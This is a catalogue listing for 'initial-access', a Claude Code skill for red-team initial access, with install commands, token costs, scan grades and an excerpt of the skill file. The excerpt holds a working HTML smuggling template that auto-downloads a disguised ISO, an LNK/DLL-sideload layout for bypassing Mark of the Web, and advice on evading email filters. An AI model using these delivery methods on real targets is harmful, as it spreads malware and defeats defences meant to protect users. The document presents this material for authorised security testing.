initial-access

initial-access is a skill for Claude Code from hypnguyen1209/offensive-claude. It costs 38 tokens per session (3,071 once invoked), scanned A, original, MIT.

A guide to obtaining an initial foothold in a target during an authorised security assessment. An initial foothold is the first successful access to a system or organisation.

In plain words
What is it for?
Planning phishing tests, payload delivery, HTML smuggling, ISO and OneNote file tests, credential-stuffing assessments and exploitation of exposed services.
Why use it?
It organises common entry routes and delivery methods so testers can assess how exposed services, stolen credentials or malicious files might be used.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Part of the offensive-claude plugin — 30 skills, 18 commands, 8 agents, 1 hook shipped together

Good fit Planning phishing tests, payload delivery, HTML smuggling, ISO and OneNote file tests, credential-stuffing assessments and exploitation of exposed services.

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Install with agentmods
npx agentmods add skills/hypnguyen1209/offensive-claude/initial-access
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add hypnguyen1209/offensive-claude --skill initial-access
Clone the repo
git clone --depth 1 https://github.com/hypnguyen1209/offensive-claude

Made for: Claude Code.

Or install offensive-claude, the plugin that ships this one along with the rest of its 30 skills, 18 commands, 8 agents, 1 hook.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for initial-access

README.md
[![agentmods](https://agentmods.dev/badge/skills/hypnguyen1209/offensive-claude/initial-access.svg)](https://agentmods.dev/skills/hypnguyen1209/offensive-claude/initial-access)
Your own site
<a href="https://agentmods.dev/skills/hypnguyen1209/offensive-claude/initial-access"><img src="https://agentmods.dev/badge/skills/hypnguyen1209/offensive-claude/initial-access.svg" alt="Measured on agentmods" height="20"></a>
Per session 38 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 3,071 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 1 finding, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high Prompt Injection · line 50
    Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.
    Fix: Audit all comments and invisible characters. Remove any instructions that direct the agent to perform unauthorized actions. Use plain, reviewable content.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00038 $0.03071
Opus 5 $0.00019 $0.01536
Sonnet 5 $0.00008 $0.00614
Haiku 4.5 $0.00004 $0.00307

Measured 8d ago against content hash 6c726f2d2950, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-07, from the pricing page.

Security

Grade A, and why

initial-access scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

Copies of this mod

1 near-identical copy found in the catalogue:

skills/initial-access/SKILL.md · 364 lines

How it starts

The opening of the file, as written. The whole thing — 364 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Initial Access

When to Activate

  • Planning initial access phase of red team engagement
  • Developing phishing campaigns and payload delivery
  • Bypassing email gateways and endpoint protection
  • Exploiting exposed services for initial foothold

Attack Vectors

Email-Based (Phishing)

Payload Delivery Formats (bypass probability):

  • .exe — almost always blocked
  • .iso/.img — bypasses MOTW (Mark of the Web) on older Windows
  • .html (smuggling) — high success rate
  • .pdf with embedded JS — moderate
  • .one (OneNote) — effective until patched
  • .lnk + DLL sideload — high success in ISO container
  • .pptm/.ppsm/.accde — often not covered by default protection

Domain Preparation:

  • Domain age > 2 weeks (warm up with legitimate emails first)
  • Use HTTPS with valid certificate
  • Category: business/technology (not "newly registered")
  • SPF, DKIM, DMARC properly configured
  • Send legitimate emails first to build reputation

HTML Smuggling

<!-- Construct binary blob in JavaScript, trigger download -->
<html>
<body>
<script>
function smuggle() {
    var bin = atob("TVqQAAMAAAAEAAAA..."); // base64 PE
    var blob = new Blob([new Uint8Array([...bin].map(c=>c.charCodeAt(0)))], 
                        {type: 'application/octet-stream'});
    var url = URL.createObjectURL(blob);
    var a = document.createElement('a');
    a.href = url;
    a.download = 'Report_Q4_2026.iso';
    a.click();
}
smuggle();
</script>
<p>Loading document...</p>
</body>
</html>

ISO/IMG Container (MOTW Bypass)

# Structure inside ISO:
├── Report.lnk          # Shortcut that executes the DLL
├── legitimate.exe      # Signed binary vulnerable to DLL sideload
└── payload.dll         # Malicious DLL loaded by legitimate.exe

# LNK target: legitimate.exe (which loads payload.dll from same directory)
# Files inside ISO don't inherit MOTW → bypass SmartScreen

Note: Windows 11 22H2+ propagates MOTW into ISO contents. Use alternative containers or delivery methods for newer targets.

Read the full file on GitHub · 364 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 364 lines · 38 tokens per session scan A 6c726f2d2950

Subscribe to this mod's changes

initial-access is a skill published in the GitHub repository hypnguyen1209/offensive-claude (357 stars, last pushed 21d ago), licensed MIT. It adds 38 tokens to every session and 3,071 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

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